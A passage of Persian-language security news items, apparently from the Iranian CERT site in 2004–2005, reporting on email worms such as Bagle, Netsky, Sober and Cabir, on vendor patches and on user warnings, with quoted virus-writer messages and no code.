معمولا کرمهای اینترنتی مشابه مانند Bagle و Netsky از طریق الحاق خود به ایمیل منتشر می شوند . زمانی که کاربری به دلیل ناآگاهی این فابل الحاقی را باز می کند،‌ یک قطعه کد اجرا می شود که سعی می کند address book کاربر را به سرقت ببرد. همچنین در بعضی موارد این کد یک در پشتی نیز برای نفوذ هکر به سیستم مورد نظر باز می کند. به همین دلیل است که اخیرا کاربران کمتر فایلهای الحاقی ناشناس را باز می کنند. نویسنده Wallon نیز از این نکته آگاه بوده است و لذا ترفند دیگری را برای گسترش این ویروس در نظر گرفته است. این ویروس در ایمیل خود لینکی را به شما معرفی می کند که شما با کلیک بر روی آن ،‌ ویروس را دریافت می کنید.وقتی یک کامپیوتر آلوده شد، ‌ویروس تا زمانی که کاربر یک فایل MP3 یا ویدئویی را اجرا نکند غیرفعال باقی می ماند. به محض اجرا و درصورتی که سیستم به طور پیش فرض Media Player را اجرا کند،‌ ویروس فعال می شود و یک ایمیل HTML حاوی لینکی به فایل ویروس را برای تمامی آدرسهای موجود در Address Book قربانی می فرستد.

از آنجایی که انتشار این ویروس به دخالت کاربر نیاز دارد پیشبینی می شود تا سرعت زیادی نداشته باشد. اما به هرحال این ویروس مخرب است چون فایل wmplayer.exe را جایگزین می کند و کاربر نیاز به نصب مجدد Media Player خواهد داشت.

مایکروسافت اعلام کرده است که کاربران برای مصونیت در مقابل این ویروس باید اصلاحیه MS04-13 را که در اواسط آوریل منتشر شده ، دریافت و نصب کنند.


﻿ IRCERT - به پیش می تازد - اخبارها و هشدارها Bagle

Bagle به پیش می تازد

1 مارس 2005 - 11 اسفند 1383

شرکتهای امنیتی هشدار داده اند که نسخه جدیدی از ویروس Bagle در حال انتتشار سریع است.

BagleDl-L در واقع به جای یک کرم اینترنتی، یک اسب تروا است که به برنامه های امنیتی صدمه می زند و سعی می کند تا به تعدادی سایت متصل شود. به گفته شرکت McAfee ، طی 12 ساعت گذشته این ویروس از طریق لیستهای اسپم به میلیونها نشانی ارسال شده است و لذا این شرکت درجه خطر این ویروس را به medium افزایش داده است. به نظر می رسد این نسخه جدید خواهد توانست ترافیک کلی تولید شده توسط Bagle را افزایش دهد. گزارشها حاکی از آن است که در 24 ساعت گذشته این ترافیک 5 برابر شده است.

هنگامی که Bagle‌حفاظتهای امنیتی را غیرفعال کند، سیستمها در برابر تهدیدهای مختلف بی دفاع خواهند بود. گراهام کلولی - مشاور ارشد شرکت Sophos - می گوید:“ هر اسب تروایی که فایروال و یا ضدویروس شما را از کار می اندازد در واقع شما را در برابر حملات بسیاری بی دفاع می کند. حتی ممکن است توسط ویروسهای بسیار قدیمی مورد حمله قرار گیرید.“

اسبهای تروا برخلاف کرمهای اینترنتی خود را منتشر نمی کنند اما از آنجا که این تروا به مقصد ایمیلهای بسیاری ارسال شده است، توجه شرکتهای امنیتی را جلب کرده است.

بنابه گفته شرکتهای امنیتی F-Secure و Sophos، وب سایتهایی که در حال حاضر Bagle به آنها متصل می شود، کد خطرناکی ندارند، اما ممکن است با آرام شدن فضا، ویروس نویسان کد خطرناکی را روی این سایتها قرار دهند.

این اسب تروا جهت آلوده سازی سیستم نیاز به همکاری مستقیم کاربر دارد. ایمیلهای رسیده آلوده به این ویروس،‌ دارای یک فایل فشرده با پسوند ZIP هستند که با باز شدن این فایل، برنامه اجرایی doc_01.exe و یا prs_03.exe در اختیار قرار می گیرد و با اجرای این برنامه، سیستم آلوده می شود.

به نظر می رسد نسخه های مختلف Bagle که بیش از یک سال پیش متولد شده است، هنوز هم بسط پیدا می کنند.


﻿ IRCERT - حمله سایتهای آلوده متوقف شد - اخبارها و هشدارها

حمله سایتهای آلوده متوقف شد

26 ژوئن 2004 – 6 تیر 1383

خطری که کاربران را در هنگام بازدید سایتهای اینترنتی تهدید می کرد از بین رفت. بنابه گفته کارشناسان حمله ای که سایتها را به محلی برای آلوده سازی کامپیوترهای کاربران مبدل می کرد با شناسایی و از کار انداختن سرور روسی منبع کد خطرناک متوقف شد. البته هنوز هم سایتهای آلوده سعی می کنند تا با ارجاع کامپیوترهای قربانی به سرور روسی ،‌آنها را آلوده کنند اما آن سرور دیگر در دسترس نیست.

آلفرد هوگر – مدیر ارشد مهندسی امنیت Symantec – معتقد است که کاربران هنوز هم باید احتیاط کنند. وی می گوید :“ در حال حاضر برای مدت کوتاهی مشکل رفع شده است اما ممکن است این کار مجددا تکرار شود. “ وی معتقد است که این روشبرای نفوذ به یک شرکت بسیار مناسب است چون به جای نفوذ به ساختار امنیتی یک شرکت که هزاران دلار خرج آن شده است کافی است که کارمندان آن شرکت را به یک سایت هدایت کرد و به کامپیوتر آنها نفوذ کرد.

در این حمله هکرها به سرورهای بدون امنیت کافی حمله می کنند و یا از یک حفره امنیتی ناشناخته در IIS‌ استفاده می کنند و با کمک آن به سرور نفوذ می کنند تا کد مورد نظر را در آنجا قرار دهند. هنگامی که یک کاربر سایت را می بیند ، کد مزبور وی را به سایتی دیگر هدایت می کند. آن سرور از دو حفره موجود در IE استفاده می کند و یک اسب تروا با امکان دسترسی از راه دور ( RAT ) را روی کامپیوتر قربانی نصب و اجرا می کند. این نرم افزار تمامی کلیدهای فشرده شده توسط کاربر را ثبت می کند و یک در پشتی در امنیت سیستم باز می کند تا به هکر اجازه دسترسی به کامپیوتر را بدهد.

مایکروسافت هنوز اصلاحیه ای برای آن حفره ها ارائه نکرده است اما قول داده است تا به زودی آنها را بپوشاند. بسیاری از شرکتها تولیدکننده ضدویروس سعی کرده اند تا در به روز رسانی خود امکان تشخیص برنامه (اسب تروا) را قرار دهند.


﻿ IRCERT - ضدجاسوس مایکروسافت رایگان است - اخبارها و هشدارها

ضدجاسوس مایکروسافت رایگان است

15 فوریه 2005 - 27 بهمن 1383

مایکروسافت امروز اعلام کرد که نرم افزار ضدجاسوسی جدید خود را رایگان در اختیار مشتریان قرار خواهد داد.

این خبر توسط بیل گیتس طی سخنرانی وی در کنفرانس RSA اعلام شد. وی گفت:“ ما تصمیم گرفته ایم که تمامی کاربران ویندوز با لیسانس، باید بدون هزینه این امکان حفاظتی را داشته باشند.“

این بخشی از برنامه مایکروسافت جهت حفاظت از کاربران تجاری و خانگی است. مشتریان معمولا از خطرها و تهدیداتی مانند برنامه های جاسوسی، ویروسها و هویت ربایی آگاه نیستند.

مایکروسافت ماه گذشته نسخه بتای نرم افزار ضدجاسوسی خود را ماه گذشته عرضه کرد. این برنامه جهت محافظت از کامپیوترها در برابر برنامه های جاسوسی طراحی شده است. معمولا برنامه های جاسوسی بدون اطلاع کاربر روی سیستم وی نصب می شوند و با ثبت سایتهایی که کاربر بازدید می کند، آگهی های pop-up تولید می کند.

گیتس همچنین اعلام کرد که با خرید شرکت Giant، مایکروسافت شبکه ای ارزشمند برای گزارش گیری درباره برنامه های جاسوسی را به دست آورده که SpyNet نام دارد. این ابزار برنامه های جاسوسی بالقوه را روی سیستم کاربران متصل به این شبکه شناسایی می کند. سپس از آنها درباره پاک کردن آن سئوال می کند و گزارش کار را به مایکروسافت ارسال می کند. گیتس با اشاره به اتصال 3 میلیون کاربر به این شبکه اظهار داشت که روزانه حدود نیم میلیون گزارش از SpyNet دریافت می کند.

مدیر شرکت مایکروسافت بودجه اختصاص یافته به امنیت در این شرکت را 2 میلیارد دلار اعلام کرد.


﻿ IRCERT - بازهم اصلاحیه های جدید مایکروسافت - اخبارها و هشدارها

بازهم اصلاحیه های جدید مایکروسافت

3 فوریه 2005 - 15 بهمن 1383

هفته آینده مایکروسافت تعدادی اصلاحیه ارائه خواهد کرد که رفع 9 مشکل امنیتی ویندوز را نیز شامل خواهد شد.

بنا به گفته مایکروسافت حداقل یکی از اصلاحیه ها دارای درجه اهمیت critical‌- بالاترین درجه - است. این اخبار در ادامه برنامه مایکروسافت جهت اعلام برنامه به روز رسانی ماهانه اش پیش از انتشار اصلاحیه ها انجام می شود.

مایکروساقت اعلام کرده است که 13 اصلاحیه منتشر خواهد شد. این اصلاحیه ها شامل یک مشکل امنیتی جدی در Office و Visual Studio و یک مشکل دیگر در ویندوز، Media Player و MSN Messenger خواهد بود.همچنین یک اصلاحیه برای یک حفره مهم در .Net Framework و یک اصلاحیه دیگر برای یک حفره با درجه اهمیت متوسط در Office و SharePoint Services در این ماه ارائه خواهد شد.

فعالیتهای امنیتی مایکروسافت اخیرا زیر ذره بین قرار گرفته است. متخصصان روسی مدعی هستند که راهی یافته اند که نفوذگران می توانند با استفاده از آن از المانهای امنیتی SP2 عبور کنند. یک سرکت امنیتی رومانیایی نیز گفته است که اصلاحیه ارائه شده در ماه ژانویه تمامی مشکلات را پوشش نداده است.

حتی هکرها به شیوه ارائه اصلاحیه مایکروافت نیز رحم نکرده اند و سعی کرده اند تا از این پروسه نیز برای حمله به کاربران استفاده کنند.

آخرین اصلاحیه ها در روز 8 فوریه منتشر خواهد شد.


﻿ IRCERT - اخبار و هشدارها - WinZip رفع مشکل امنیتی

رفع مشکل امنیتی WinZip

7 سپتامبر 2004 – 17 شهریور 1383

اصلاحیه ای برای مشکل امنیتی موجود در نرم افزار فشرده سازی مشهور WinZip ارائه شد. ماه گذشته شرکت WinZip Computing از وجود یک حفره امنیتی در WinZip خبر داد. نسخ 3.x ، 6.x ، 7.x ، 8.x و 9.x این نرم افزار دارای حفره فوق الذکر هستند که به یک هکر اجازه می دهد تا از راه دور کدهای خطرناک را اجرا کند و باعث سرریز شدن بافر شود.

مشکل از آنجا به وجود آمده بود که WinZip ورودی های خط فرمان را به درستی پردازش نمی کند. شرکت امنیتی Secunia درجه اهمیت این مشکل را highly critical یعنی 4 از 5 اعلام کرده است.

WinZip اصلاحیه ای را برای نسخه 9 نرم افزار خود ارائه کرده است. اصلاح این مشکل در WinZip 9.0 Service Release 1 انجام شده است. همچنین این به روز رسانی به نرم افزار این امکان را می دهد تا در صورا بروز بعضی مشکلات پیغامهای اخطاری را صادر کند. برای مثال اگر کاربر روی یک فایل اجرایی exe که درون فایل zip فشرده شده است ، دو بار کلیک کند، WinZip اخطار خواهد داد که ممکن است فایل فشرده دارای ویروس باشد.

این شرکت بر روی سایت خود به کاربران توصیه کرده است که همه نرم افزار خود را به نسخه 9 ارتقا دهند تا بدون هیچ هزینه ای اصلاحیه را دریافت و نصب کنند. برای کاربران جدید یک اصلاحیه مدت دار به صورت رایگان عرضه شده است، اما پس از 21 روز برای ادامه استفاده از آن باید 29 دلار پرداخت کنند.

این اخبار تنها دو هفته پس از آن منتشر می شود که هشداری درباره حفره امنیتی موجود در نرم افزار چندرسانه ای WinAmp اعلام شده بود. دو هفته پیش در اخبار آمده بود که با استفاده از این حفره می توان نرم افزارهای جاسوسی را روی سیستم کاربران نصب کرد. این مشکل در حال حاضر اصلاح شده است و به کاربران گفته شده است که نرم افزار WinAmp خود را به نسخه 5.05 ارتقا دهند.


﻿ IRCERT - ویروس نویسان دعوا می کنند - اخبارها و هشدارها

ویروس نویسان دعوا می کنند

۳ مارس – ۱۳ اسفند

کارشناسان امنیت شبکه متوجه شده اند که نویسندگان ویروسهای MyDoom و Bagle درحال دعوا کردن با نویسنده کرم اینترنتی NetSky هستند و از طریق متون پنهان شده در کد ویروهایشان بهم فحش می دهند!

شرکت فنلاندی F-Secure که در زمینه امنیت فعالیت می کند گزارش داده است که ویروس Bagle.J دارای یک خط متن است که در آن گفته شده است :

"Hey, NetSky...don't ruine our bussiness, wanna start a war?"

کرم اینترنتی MyDoom.G نیز که همزمان با ویروس Bagle.J منشر شد دارای پیغامی برای نویسنده NetSky بود. نویسنده NetSky نیز در آخرین نسخه خود یعنی F به این پیغامها پاسخ داده است :

"Skynet AntiVirus - Bagle - you are a looser!!!!"

گراهام کلولی – یکی از مشاوران ارشد شرکت ضد ویروس Sophos – معتقد است علت این دعوا آن است که نویسندگان MyDoom و Bagle از شهرت نویسنده NetSky عصبانی هستند. نویسنده Bagle از این که NetSky توانسته است تیتر اصلی اخبار را به خود اختصاص دهد و توجه کارشناسان را به خود جلب کند دلخور و عصبانی است. کلولی می گوید: ویروس نویسان نیز مانند افرادهر جامعه دیگری با هم جنگ و دعوا دارند. اما جنگ کلمات آنها بر روی رایانه ها و ایمیلهای کاربران انجام می شود.

این اولین بار نیست که نویسندگان ویروس از این امکان برای ارسال پیغام استفاده می کنند. برای مثال کرم مشهور MSBlast که باعث خسارتهای بسیاری در تابستان گذشته شده بود ُ پیغامی را برای بیل گیتس منتشر می کرد. این پیغام چنین بود :

"I just want to say LOVE YOU SAN!! billy gates why do you make this possible ?

Stop making money and fix your software!!"


﻿ IRCERT - ویروس نویسان به پاپ هم رحم نمی کنند - اخبارها و هشدارها

ویروس نویسان به پاپ هم رحم نمی کنند

28 ژوئن 2005 – 7 تیر 1384

متخصصان هشدار داده اند که ایمیلهایی که با موضوع توطئه فوت پاپ ژان پل دوم و یا مردن مایکل جکسون منتشر می شوند، ویروسی هستند.

شرکت Sophos به کاربران هشدار داده است که کرم جدیدی در حال انتشار است که در قالب اخبار مهم و جدید ارائه می شود. این کرم که Kedebe-F نام دارد خود را از طریق ایمیل منتشر می کند و از موضوعات و بدنه های مختلفی برای ایمیلهای خود استفاده می کند.

به گفته Sophos کسانی که فریب می خورند و فایل الحاقی را باز می کنند، باعث غیرفعال شدن نرم افزار امنیتی خود و انتشار کرم به دیگران می شوند.

این کرم اینترنتی می تواند پیامهای مختلفی ارسال کند. Sophos در هشدار خود آورده است که ممکن است موضوع و بدنه ایمیلها علاوه بر اخبار و وقایع جاری، به اکانت اینترنت کاربر یا موضوعات دیگر نیز مرتبط باشد.One of the messages, as seen by Sophos, read: "Someone sent me this

در یکی از این پیامها آمده است:“ فردی این مستندات را که از یک بخش محرمانه دولتی سرقت شده، برای من فرستاده است و مربوط به مرگ جان پل است. بنابر این مستندات وی به وسیله دو دکتر که توسط افراد دولتی اجیر شده بودند، به قتل رسیده است. متن الحاق شده به ایمیل حاوی تمامی داستان مرگ وی و هویت آن دو دکتر است.“

پیام دیگری که توسط این کرم ارسال می شود مربوط به دستگیری نویسنده کرم MyDoom است.

بنابه گفته Sophos این کرم رشد و انتشار سریعی نداشته است.


﻿ IRCERT - کرمی در پوست بسته امنیتی مایکروسافت - اخبارها و هشدارها

کرمی در پوست بسته امنیتی مایکروسافت

۸ مارس – ۱۸ اسفند

آخرین نسخه از کرم اینترنتی Sober که از طریق ایمیل منتشر می شود خود را به جای یک بسته نرم افزاری امنیتی مایکروسافت که برای مقابله با ویروس MyDoom ارائه شده است معرفی می کند.

Sober.D همانند نسخه های قبلی این کرم از سرور SMTP خود استفاده می کند و کپی هایی از این کرم را به نشانی های موجود بر روی سیستم قربانی ارسال می کند. اما علاوه بر این اخطارها و پیغامهای خطایی را نیز نمایش می دهد که به ظاهر از طرف مایکروسافت هستند و از این طریق کاربران را گمراه می کند.

گراهام کلولی –مشاور ارشد شرکت ضدویروس Sophos – درباره این کرم چنین می گوید: این کرم در ایمیلی که به ظاهر یک بسته امنیتی نرم افزاری برای مقابله با MyDoom را ارائه کرده است وارد صندوق پستی کاربران می شود. مردم با دیدن یک بسته امنیتی از مایکروسافت به آن ایمیل اعتماد می کنند و بر روی فایل الحاقی آن کلیک می کنند.

بنابر گزارش شرکت F-Secure ,این کرم اینترنتی به شکل یک فایل اجرایی یا یک فایل فشرده شده (با فرمت Zip) که با کلمه عبور محافظت می شود, منتشر می شود. زمانی که فرد روی فایل کلیک کند Sober.D به بررسی آن کامپیوتر می پردازد. اگر کامپیوتر تابحال آلوده نشده باشد پیغام "This patch has been successfully installed." نمایش داده می شود . درصورتی که کامپیوتر قربانی پیش از این به Sober.D آلوده شده باشد پیغام "This patch does not need to be installed on this system." نمایش داده خواهد شد.

بد نیست بدانید که این کرم درصورت تشخیص ملیت گیرنده ایمیل را به زبان وی برایش ارسال می کند. اگر آدرس ایمیل گیرنده دارای یکی از پسوندهای "de", "ch" , "at" , "li" , "nl" یا "be" باشد ایمیل به زبان آلمانی و با موضوع "Microsoft Alarm: Bitte Lesen." ارسال می شود. در غیر اینصورت ایمیلی به زبان انگلیسی و با موضوع "Microsoft Alert: Please Read!" منتشر می شود.

این اولین باری نیست که یک ویروس خود را به جای بسته بروز رسانی مایکروسافت معرفی می کند. درماه ژانویه اسب تروای Xombe نیز خود را به شکل یک بسته نرم افزاری مهم برای ویندوز XP معرفی می کرد. مایکروسافت همیشه اعلام کرده است که بسته های نرم افزاری امنیتی را برای کاربران ایمیل نمی کند و کاربران باید این ایمیلها را نادیده بگیرند.


﻿ IRCERT - حمله یک کرم اینترنتی به یاهو مسنجر - اخبارها و هشدارها

حمله یک کرم اینترنتی به یاهو مسنجر

24 مه 2005 - 3 خرداد 1384

متخصصان امنیتی امروز هشدار دادند که یک کرم اینترنتی و یک روش هویت ربایی، کاربران دو ابزار پیام فوری AOL و Yahoo Messenger را هدف قرار داده اند.

در هر دو مورد، کاربران یک پیام فوری با یک لینک به فیلم اخیر جنگ ستارگان یعنی Star Wars Episode III: Revenge of the Sith دریافت می کنند که آنها را تشویق می کند بر روی لینک کلیک کنند.

کاربران AOL در پیام فوری خود این متن را می بینند:“ hehe, i found this funny movie “ و کلمه this یک لینک است در حالی که در پیامهای یاهو در لینک به StarGames ارجاع داده شده است.

هنگامی که کاربر نرم افزار پیام فوری روی لینک AOL کلیک کند، کد خطرناکی بر روی سیستم وی قرار می گیرد. کد نصب می شود و کرم مزبور خود را به تمامی نشانی های روی سیستم فرد قربانی ارسال می کند. این کد نسخه ای از ویروس Gaobot است که می تواند به یک هکر امکان کنترل از راه دور سیستم را بدهد.

لینک موجود در پیامهای یاهو کاربر را به سایتی هدایت می کند که در ظاهر کاملا شبیه به سایت رسمی یاهو است اما در واقع دامی برای دریافت اطلاعات کاربر و در واقع یک حمله هویت ربایی است. در این سایت پس اطلاعات از کاربرکسب و برای یک نشانی روی Hotmail ارسال می شوند.


﻿ IRCERT - کرمی که با قربانیانش بازی می کند - اخبارها و هشدارها

کرمی که با قربانیانش بازی می کند

13 ژانویه 2005 - 24 دی 1383

Sophos دیروز هشدار داد که کرم جدیدی وارد شبکه ها شده است که در انجام بازی ویدئویی تتریس ( Tetris ) با قربانیانش، به شبکه های دیگر نیز سرایت می کند.

این کرم که Cellery.A نام دارد، از این بازی روسی برای جذب قربانیانش استفاده می کند. هنگامی که کاربران در حال انجام این بازی هستند، کرم سعی می کند تا بر روی هارد دیسک های شبکه و سایر سیستم های در دسترس که از سیستم عامل ویندوز استفاده می کنند، گسترش یابد.

گراهام کلولی - مشاور ارشد Sophos - می گوید:“ اگر شما در شرکت خود به کارمندان اجازه می دهید که در محل کار به بازی بپردازند، ممکن است کارمندانتان باور کنند که یک نسخه جدید از بازی را دریافت کرده اند و لذا شما در معرض خطر هستید.“

بازیها روش معمولی برای گسترش ویروس ها نیستند. بیش از چهار سال پیش کرم دیگری نیز با استفاده از همین بازی سعی در فریب کاربران و گسترش خود داشت. اولین ویروس کامپیوتری که برای حمله به کامپیوترهای همه منظوره نوشته شده بود نیز به یک بازی خود را متصل می کرد.


﻿ IRCERT - حمله یک کرم به تلفن های هوشمند - اخبارها و هشدارها

حمله یک کرم به تلفن های هوشمند

14 ژوئن 2004 – 25 خرداد 1383

امروز شرکتهای تولید کننده ضدویروس اعلام کردند که برای اولین بار کرمی متولد شده است که تلفنهای هوشمند را مورد حمله قرار می دهد. بنا به گفته این شرکتها ، خطر کرم مزبور زیاد نیست ، اما کارشناسان درحال بررسی شیوه عملکرد این ویروس هستند.

این کرم که Cabir نام دارد ، از مشخصه بی سیم Bluetooth با دامنه کوتاه در تلفنهای هوشمند استفاده می کند و سایر تلفنهایی را که از سیستم عامل Symbian استفاده می کنند ، شناسایی کرده و خود را در قالب یک فایل به آنها منتقل می کند.

وینسنت گولوتو – قائم مقام گروه امداد شرکت Network Associates – معتقد است که این ویروس منتشر نخواهد شد.وی می گوید:“ گروهی که این ویروس را نوشته اند علاقه دارند ویروسهایی ایجاد کنند که یک نظریه را به اثبات برساند. آنها فقط می خواستند نشان دهند که چنین ویروسی کار خواهد کرد.“

گروه ایجاد کننده ویروس یک کپی از آن را برای شرکتهای ضدویروس فرستاده است . از طرف دیگر این کرم کاری به جز انتشار انجام نمی دهد. همچنین نشانه ای از حضور آن در شبکه های عمومی تلفن یافت نشده است و تنها در محیطهای آزمایشگاهی دیده شده است. به همین دلایل است که گولوتو و سایر کارشناسان معتقدند که Cabir انتشار نخواهد یافت اما می تواند پایه ای برای نوشتن ویروسهای مشابه توسط سایرین شود.

نرم افزار Symbian بازار تلفنهای هوشمند را در اختیار دارد که نسبت به تعداد تلفنهای همراه ،‌حجم بسیار کوچکی را تشکیل می دهند. در حال حاضر اکثر تلفنهای همراهی که به نوعی با یک PDA ترکیب شده اند، از این سیستم عامل استفاده می کنند.

ک ارشناسان و هکرها بارها درباره مشکلات امنیتی استاندارد بی سیم Bluetooth هشدار داده اند. اما این کرم بیشتر از اعتماد سیستم عامل Symbian به سایر تلفنهای مبتنی بر این سیستم عامل سوء استفاده می کند.


﻿ IRCERT - خود را پنهان می کند - اخبارها و هشدارها Atak

Atak خود را پنهان می کند

13 جولای 2004 – 23 تیر 1383

کرم اینترنتی Atak هنگامی که متوجه می شود یک نرم افزار ضدویروس درحال تلاش است تا آن را بیابد ، خود را پنهان می کند و اصطلاحا به خواب می رود.

Atak که دیروز توسط متخصصین امنیت شبکه شناسایی شده است، در زمره کرمهای خطرناک به شمار نمی آید اما از آنجا که حجم زیادی اسپم تولید می کند می تواند باعث ایجاد ناراحتی برای کاربران شود.

گراهام کلولی – مشاور ارشد فناوری شرکت ضدویروس Sophos – معتقد است که نویسندگان ویروسها معمولا تلاش می کنند تا با اضافه کردن کدهای پیچیده و به کار گرفتن تکنیکهای مزورانه کار محققان و متخصصان ضدویروس را تا حد ممکن مشکل کنند. وی می گوید:“Atak سعی می کند تا تشخیص دهد فردی درحال تحلیل کد برای شناسایی ویروس است یا خیر. معمولا یک ویروس حجم زیادی کد با خود دارد که تنها برای پیچیده کردن ویروس برای شرکتهای ضدویروس طراحی و اضافه می شود.“

میکو هایپونن - مدیر بخش تحقیقات شرکت فنلاندی F-Secure - نیز درباره این ویروس گفته است که با وجودی که حفاظت از کد و برنامه نوشته شده توسط ویروس نویس روشی معمول است اما این کرم یک استثنا است. وی می افزاید:“‌ به کارگیری چند لایه رمزنگاری یک روش استاندارد برای حفاظت از کد است اما این کرم فراتر از این روشها عمل می کند. Atak سعی می کند تا تشخیص دهد آیا یک ابزار ضدویروس درحال تحلیل آن است یا خیر. درصورتی که تشخیص آن مثبت باشد ، اجرای خود را متوقف می کند و خود را از کار می اندازد.“

بنابه گفته محققان Atak یک خطر جدی به شمار نمی آید . البته به دلیل روش حفاظتی آن هنوز امکان تحلیل کامل کد این کرم به وجود نیامده است اما مشخص شده است که این کرم متنی را با خود دارد که به تهدید کرمها و ویروسهای مشهور مانند MyDoom ، Bagle و NetSky می پردازد. هایپونن می گوید که ممکن است این کرم به یافتن و تخریب کرمهای رقیب اقدام کند.


﻿ IRCERT - کرمی که با کاربران صحبت می کند - اخبارها و هشدارها

کرمی که با کاربران صحبت می کند

13 سپتامبر 2004 - 23 شهریور 1383

کرمی که با پیام صوتی پنهان شده در خود گوش کاربران ویندوز XP را نوازش می دهد، کشف شده است.

Amus که به نظر می رسد ترکی باشد، از Windows Speech Engine موجود در ویندوز XP استفاده می کند و پیغام زیر را پخش می کند:

"How are you. I am back. My name is Mr. Hamsi. I am seeing you. Haaaaaaaa. You must come to Turkey. I am cleaning your computer. 5. 4. 3. 2. 1. 0. Gule gule."

Gule gule در ترکی به معنای خداحافظی است.

این کرم که پس از پخش موزیک ابتدایی ویندوز XP اجرا می شود، فایلهای خاصی را پاک می کند و باعث خرابی ویندوز می شود. Amus به طور خودکار و از طریق ایمیل با عنوان Listen and Smile خود را منتشر می کند و تنظیمات home page در IE را نیز تغییر می دهد.

مدیر بخش تحقیقات شرکت F-Secure در این باره می گوید:“ ممکن است کاربران به دلیل بخشی از پیغام که می گوید شما را می بینم، نگران باشند. اما این کرم که تنها کرمی است که من امکان سخن گفتن را روی آن دیده ام از انواع پیشرفته نیست چون به زبان ویژوال بیسیک نوشته شده است.“

شرکتهای ضدویروس درجه خطر این کرم را پایین (Low) ارزیابی کرده اند.


﻿ IRCERT - یک ویروس دوست داشتنی دیگر! - اخبارها و هشدارها

یک ویروس دوست داشتنی دیگر!

22 فوریه 2005 - 4 اسفند 1383

پنج سال پس از آن که ویروس "I love you" قربانیان زیادی در سطح جهان گرفت، یک ویروس نویس دیگر سعی کرده است که از همان روش برای فریب کاربران استفاده کند.

شرکت ضدویروس Sophos دیروز اعلام کرد که این کرم جدید اینترنتی Assiral نام دارد. این ویروس همانند نمونه قبلی از طریق یک ایمیل با موضوع "lov ya" خود را منتشر می کند و کاربران را با این روش قانع می کند تا فایل الحاقی همراه ایمیل را باز کنند.

گراهام کلولی - مشاور ارشد Sophos - می گوید:“ این کرم از یک حقه قدیمی استفاده می کند و سعی می کند تا کاربران را قانع کند که یک نامه رمانتیک دریافت کرده اند. حدود 5 سال از انجام این کار توسط کرم مشهور Love Bug می گذرد. در آن زمان میلیونها کاربر ویندوز در سراسر دنیا فریب خوردند اما به نظر نمی رسد Assiral تا این حد مؤثر باشد.“

نمونه ایمیل Assiral به شکل زیر است:

Subject:
Re: LOV YA!

Body:
Kindly read and reply to my LOVE LETTER in the attachments :-)

Attachment title:
LOVE_LETTER.TXT.exe

Attachment body:
Greetz from LARISSA.B!
I will survive,
In this moment in time.
You computer will crash,
So, you will be mine.
I never crash,
I never fail.
So, in this moment in time,
I will surive...
-LARISSA AUTHOR - 5-15-05

اگر فایل الحاقی همراه ایمیل باز شود، کرم مزبور یک صفحه وب روی Geocities را باز می کند و سپس سعی می کند خود را به نشانی های موجود در Outlook address book قربانی ارسال کند. شما می توانید راهنمایی امنیتی Sophos درباره این ویروس را در سایت این شرکت مشاهده کنید.


﻿ IRCERT - گریه پس از دیدن تصاویر خنده دار! - اخبارها و هشدارها

گریه پس از دیدن تصاویر خنده دار!

3 فوریه 2005 - 15 بهمن 1383

مراقب ایمیل جدیدی که حاوی تصاویری خنده دار از یک پیرمرد است باشید، چون یک اسب تروای خطرناک با خود دارد.

این کرم که Wumark-F در قالب فایل الحاقی یک ایمیل منتقل می شود و کامپیوترهای دارای سیستم عامل ویندوز را آلوده می کند. هنگامی که این ایمیل باز می شود، تصویری از یک پیرمرد در حال gurning - یک رسم انگلیسی که فرد شکلکهای خنده دارد و احمقانه در می آورد- را نشان می دهد.

به گزارش Sophos ، هنگامی که تصویر نمایش داده می شود، یک اسب تروا روی سیستم نصب می شود که به هکرها اجازه می دهد تا کنترل سیستمهای آلوده را در دست بگیرند و اطلاعات جمع آوری کنند.

گراهام کلولی - مشاور ارشد Sophos - می گوید:“ ممکن است بعضی در نگاه اول این کرم را بی خطر ببینند و با تصاویر آن سرگرم شوند اما در واقع این کرم کنترل سیستم شما را به دست هکرها می دهد. اگر شما یک کامپیوتر جدید اصلاح نشده را روی اینترنت قرار دهید که فایروال و ضدویروس مناسبی روی آن نصب نشده باشد، به راحتی و ظرف 10 دقیقه در کنترل هکرها خواهد بود.“

اوایل این هفته کاربران با کرم دیگری نیز مواجه شده بودند که برای آنها جمله "you are an idiot" را می خواند.


﻿ IRCERT - اخطارها شدت می گیرد : یک کرم اینترنتی در راه است - اخبارها و هشدارها

اخطارها شدت می گیرد : یک کرم اینترنتی در راه است

30 آوریل – 11 اردیبهشت

شرکتهای امنیتی به مشتریان خود هشدار داده اند که هرچه سریعتر اصلاحیه امنیتی ارائه شده برای ویدوز را روی سیستم خود نصب کنند و کامپیوتر خود را برای مقابله با یک کرم اینترنتی مشابه MSBlast که به زودی منتشر خواهد شد آماده کنند.

همانطور که در خبرهای قبلی آمده بود , این اخطارها ناشی از کشف یک حفره امنیتی خطرناک در بخش امنیتی ویندوز (Local Security Authority Subsystem Service ) و رواج کدهای خطرناکی جهت استفاده از این حفره است. همچنین این کدها اخیرا با نرم افزارهای bot نیز ترکیب شده اند که این حرکات نشان از تغییراتی دارد که بتدریج یک اسکریپت ساده مبدل به یک کرم اینترنتی کامل می شود. متخصصین هشدار داده اند که حملات با استفاده از این حفره افزایش یافته است و نرم افزار bot نیز در تعداد زیادی از کامپیوترها رخنه کرده است و محیط برای تولد یک کرم آماده است.

مایکروسافت نیز به کاربران هشدار داده است تا با پوشاندن این حفره از آلوده شدن به کرمها جلوگیری کنند. اصلاحیه ارائه شده حفره دیگری را که در نرم افزار web server مایکروسافت وجود دارد را نیز می پوشاند.

متخصصان بهترین زمان برای حمله را جمعه شب می دانند, زیرا در آن زمان مدیران شبکه ها به خانه رفته اند و دو روز تعطیل امکان خوبی را برای کرم اینترنتی پدید می آورد تا در غیاب مدیران شبکه ها به فعالیت و گسترش بپردازد.


﻿ IRCERT - سال ۲۰۰۴، سال حمله کرمهای اینترنتی - اخبارها و هشدارها

سال ۲۰۰۴، سال حمله کرمهای اینترنتی

۲۱ مارس ۲۰۰۵ – ۱ فروردین ۱۳۸۴

بنابر تحقیقاتی که اخیرا انجام شده است، با وجود فعالیتهای بسیاری که در زمینه امنیت انجام شده و هزینه های بالایی که صرف این کار شده است، طی سال گذشته تقریبا نیمی از شرکتها هدف حمله کرمهای اینترنتی قرار گرفته اند.

این تحقیق که امروز توسط شرکت امنیتی Mazu Networks و Enterprise Strategy Group منتشر شد، نشان می دهد که حدود ۷۵ درصد از شرکتها در سال ۲۰۰۴ هزینه بالایی را صرف امنیت کرده اند تا قوانین امنیتی را رعایت کنند.

باوجود تمامی این تلاشها تنها ۱۴ درصد از پاسخ دهندگان به این تحقیق از امنیت شبکه خود در برابر تمامی تهدیدات مطمئن بوده اند.

